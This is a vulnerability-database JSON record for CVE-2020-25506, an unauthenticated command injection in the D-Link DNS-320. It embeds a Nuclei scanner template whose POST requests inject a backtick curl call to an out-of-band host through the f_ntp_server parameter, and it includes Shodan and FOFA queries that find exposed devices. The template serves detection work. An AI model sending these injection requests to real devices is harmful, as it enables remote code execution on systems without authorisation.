{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2020-25506/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2020-25506/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2020-25506/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2020-25506/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2020-25506/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2020-25506"},"sightings":{"href":"/api/v1/sightings/cve-2020-25506"}},"enrichments":{"cisa-kev":{"kev":true},"epss":{"epss":0.99968,"kev":true,"percentile":0.99977},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2020/CVE-2020-25506.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2020-25506\n\ninfo:\n  name: D-Link DNS-320 - Unauthenticated Remote Code Execution\n  author: gy741\n  severity: critical\n  description: D-Link DNS-320 FW v2.06B01 Revision Ax is susceptible to a command injection vulnerability in a system_mgr.cgi component. The component does not successfully sanitize the value of the HTTP parameters f_ntp_server, which in turn leads to arbitrary command execution.\n  impact: |\n    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary code on the affected device.\n  remediation: |\n    Apply the latest firmware update provided by D-Link to mitigate this vulnerability.\n  reference:\n    - https://gist.github.com/WinMin/6f63fd1ae95977e0e2d49bd4b5f00675\n    - https://unit42.paloaltonetworks.com/mirai-variant-iot-vulnerabilities/\n    - https://nvd.nist.gov/vuln/detail/CVE-2020-25506\n    - https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10183\n    - https://www.dlink.com/en/security-bulletin/\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2020-25506\n    cwe-id: CWE-78\n    epss-score: 0.99968\n    epss-percentile: 0.99977\n    cpe: cpe:2.3:o:dlink:dns-320_firmware:2.06b01:*:*:*:*:*:*:*\n  metadata:\n    max-request: 2\n    vendor: dlink\n    product: dns-320_firmware\n    shodan-query: http.html:\"sharecenter\"\n    fofa-query: body=\"sharecenter\"\n  tags: cve,cve2020,dlink,rce,oast,mirai,unauth,router,kev,vkev,vuln\nvariables:\n  useragent: '{{rand_base(6)}}'\n\nhttp:\n  - raw:\n      - |\n        POST /cgi-bin/system_mgr.cgi? HTTP/1.1\n        Host: {{Hostname}}\n        Accept: */*\n\n        C1=ON&cmd=cgi_ntp_time&f_ntp_server=`curl http://{{interactsh-url}} -H 'User-Agent: {{useragent}}'`\n      - |\n        POST /cgi-bin/system_mgr.cgi?C1=ON&cmd=cgi_ntp_time&f_ntp_server=`curl http://{{interactsh-url}} -H 'User-Agent: {{useragent}}'` HTTP/1.1\n        Host: {{Hostname}}\n        Accept: */*\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: interactsh_protocol # Confirms the HTTP Interaction\n        words:\n          - \"http\"\n\n      - type: word\n        part: interactsh_request\n        words:\n          - \"User-Agent: {{useragent}}\"\n# digest: 4a0a0047304502200abaac0e78d36808dbde84875edd3467f822b0cb64376538c0b350658fe77b58022100959c974e9bdd04ac39f9538f05f4e91d76c40199a88f1174c470d19b56f9fd2c:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2020-25506"}